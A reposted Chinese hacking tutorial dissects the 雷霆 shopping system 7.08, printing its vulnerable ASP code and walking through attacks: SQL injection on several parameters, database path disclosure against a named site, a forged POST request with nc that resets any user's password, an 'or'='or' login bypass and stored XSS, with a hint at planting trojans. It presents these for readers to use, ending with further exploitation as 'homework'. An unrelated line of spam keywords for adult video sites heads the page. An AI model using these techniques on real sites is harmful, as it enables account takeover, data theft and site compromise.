亚洲一区亚洲二区亚洲三区,国产成人高清在线,久久久精品成人免费看,999久久久免费精品国产牛牛,青草视频在线观看完整版,狠狠夜色午夜久久综合热91,日韩精品视频在线免费观看

霸王背后的脆弱——完全解剖雷霆購(gòu)物系統(tǒng) -電腦資料

電腦資料 時(shí)間:2019-01-01 我要投稿
【www.ishadingyu.com - 電腦資料】

    雷霆購(gòu)物系統(tǒng)研究者不多,漏洞確實(shí)不少

    軍訓(xùn)回來很是無聊,看到本地的英特爾分公司用的是一個(gè)叫雷霆購(gòu)物系統(tǒng)的整站程序,雷霆購(gòu)物系統(tǒng)是國(guó)內(nèi)一個(gè)使用比較廣泛的購(gòu)物系統(tǒng),現(xiàn)在,我們就來看看它的安全性究竟如何吧!從網(wǎng)上下載7.08最新版的雷霆購(gòu)物系統(tǒng),現(xiàn)在我們來分析代碼!!

    一、SQL注入漏洞

    我們先來看看vpro.asp文件的部分漏洞代碼:

    <%

    dim id

    id=request.QueryString("id")

    dim prename,company,intro,predate,graph2,description,remarks,price

    set rs=server.CreateObject("adodb.recordset")

    rs.open "select * from product where id="&id,conn,1,3

    rs("viewnum")=rs("viewnum")+1

    rs.update

    %>

    sub.asp文件的漏洞代碼:

    sortsid=request.querystring("nid")

    if Not isempty(request("page")) then

    currentPage=Cint(request("page"))

    else

    currentPage=1

    end if

    set rs=server.CreateObject("adodb.recordset")

    rs.open "select pagenum,name,mark,vipprice,discount,score,id,author,productdate,price2,price1,discount,pic from product where sortsid=

    "&sortsid&" order by adddate desc",conn,1,1

    還有rank.asp文件的漏洞代碼:

    dim id,action

    action=request.QueryString("action")

    id=request.QueryString("id")

    set rs=server.CreateObject("adodb.recordset")

    rs.open "select id,name,rank,ranknum from product where id="&id,conn,1,3

    參數(shù)全都沒有做過濾,用普通的注入工具就能輕松注入,

霸王背后的脆弱——完全解剖雷霆購(gòu)物系統(tǒng)

    Search.asp這個(gè)文件我開始還以為是搜索頁面,但是當(dāng)我細(xì)讀代碼后,發(fā)現(xiàn)原來reseach.asp才是真正的搜索文件,其中又這樣一段代碼:

    if name<>"" then

    sql=sql&"and name like ’%"&name&"%’ "

    end if

    if author<>"" then

    sql=sql&"and author like ’%"&author&"%’ "

    end if

    if manufacturer<>"" then

    sql=sql&"and mark like ’%"&manufacturer&"%’ "

    end if

    if code<>"" then

    sql=sql&"and categoryid like ’%"&code&"%’ "

    這就是經(jīng)典的填字游戲。∫?yàn)樗诟呒?jí)搜索頁面作了javascript過濾,所以我們要用nc提交來進(jìn)行cookies注入。但我們也可以在快速搜索頁面提交:“504%’注入語句’%504”就能注入了,抓包然后把地址放在NBSI里就能注入了,因?yàn)槲业腎IS有點(diǎn)問題,所有就沒深入測(cè)試。

    二、爆庫

    數(shù)據(jù)庫連接文件conn.asp并沒有加入容錯(cuò)語句On Error Resume Next我們隨便找一個(gè)帶參數(shù)的地址,如:www.hackerxfiles.net/vpro.asp?id=513,我們就在地址欄里輸入:www.hackerxfiles.net%5cvpro.asp?id=513,看數(shù)據(jù)庫爆出來了吧!

    三、cookies欺騙漏洞

    Forget.asp是密碼找回文件文件,repws.asp是修改密碼文件,我們來看看它的部分代碼:

    <%

    if request("username")="" then

    call MsgBox("非法使用!","Back","None")

    response.end

    end if

    dim tmp

    set rs=server.CreateObject("adodb.recordset")

    ’提交修改密碼

    if not isempty(request("SubmitRePws")) then

    if request("password")<>request("password2") then call MsgBox("再次輸入密碼不一致!","Back","None")

    rs.open "select password from [user] where username=’"&trim(request("username"))&"’",conn,1,3

    rs("password")=md5(trim(request("password2")))

    rs.update

    rs.close

    call MsgBox("您的密碼取回成功,請(qǐng)登錄!","GoUrl","login.asp")

    response.end

    end if

    rs.open "select answer from [user] where username=’"&trim(request("username"))&"’ ",conn,1,1

    tmp=trim(rs("answer"))

    rs.close

    if tmp<>md5(request("answer")) then

    call Msgbox("對(duì)不起,您輸入的問題答案不正確","Back","None")

    response.end

    end if

    set rs=nothing

    %>

    呵呵,笑了吧!我們現(xiàn)在來構(gòu)造數(shù)據(jù)包:

    POST /lt/repws.asp HTTP/1.1

    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

    Referer: http://localhost/lt/repws.asp

    Accept-Language: zh-cn

    Content-Type: application/x-www-form-urlencoded

    Accept-Encoding: gzip, deflate

    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)

    Host: localhost

    Content-Length: 72

    Connection: Keep-Alive

    Cache-Control: no-cache

    Cookie: ASPSESSIONIDQGQGQXOO=IFKFCOFAPEOINKPNGDEJEKOF

    password=121212&password2=121212&SubmitRePws=%CC%E1%BD%BB&username=x-key

    修改就把ueername和password、possword2還有Content-Length修改一下就行了,其他的都不用改,

電腦資料

霸王背后的脆弱——完全解剖雷霆購(gòu)物系統(tǒng)》(http://www.ishadingyu.com)。我們現(xiàn)在用nc提交:nc localhost 80<1.txt>1.htm,如圖3所示,然后我們運(yùn)行一下1.htm,就會(huì)看到圖4的消息框了!

    四、跨站漏洞

    注冊(cè)文件reg.asp只是在頁面表面用了javascript做了過濾,我們可以把它保存到本地,然后刪除javascript驗(yàn)證就能注冊(cè)了呵呵,注冊(cè)的所有參數(shù)都完全沒有做過濾哦!在里面添任何東西都可以,但是這又有什么用呢?那么這就是要看你的工程學(xué)了。

    我們來看看留言本的login.asp的漏洞代碼:sqlchk="select * from admin where admin=’" & Username & "’ and password=’" & password & "’"呵呵,用經(jīng)典的’or’=’or’就能進(jìn)入了,但是,頁面做了javascript驗(yàn)證,但是這個(gè)驗(yàn)證就能阻止我們嗎?呵呵,當(dāng)然不能,繞過javascript驗(yàn)證的方法前面已經(jīng)講過了,這里就不重復(fù)了!

    我們只要先抓包,然后用nc這樣提交就行了nc localhost 80<1.txt>1.htm好了,現(xiàn)在我們就可以打開1.htm了。

    我們?cè)賮砜纯磜rite.asp文件,我們打開該頁面在“電子郵件”或者“個(gè)人主頁”中輸入跨站代碼:"><",就能看到我們想要的效果了!如果我們?cè)俟瓷稀爸挥邪咧癫趴梢钥础,呵呵,掛個(gè)馬什么的不就……

    五、最后的總結(jié)

    其實(shí)雷霆購(gòu)物系統(tǒng)應(yīng)該還有很多漏洞的,但是由于時(shí)間問題,我就不再說了,留給大家一個(gè)課后作業(yè)!呵呵!88。

最新文章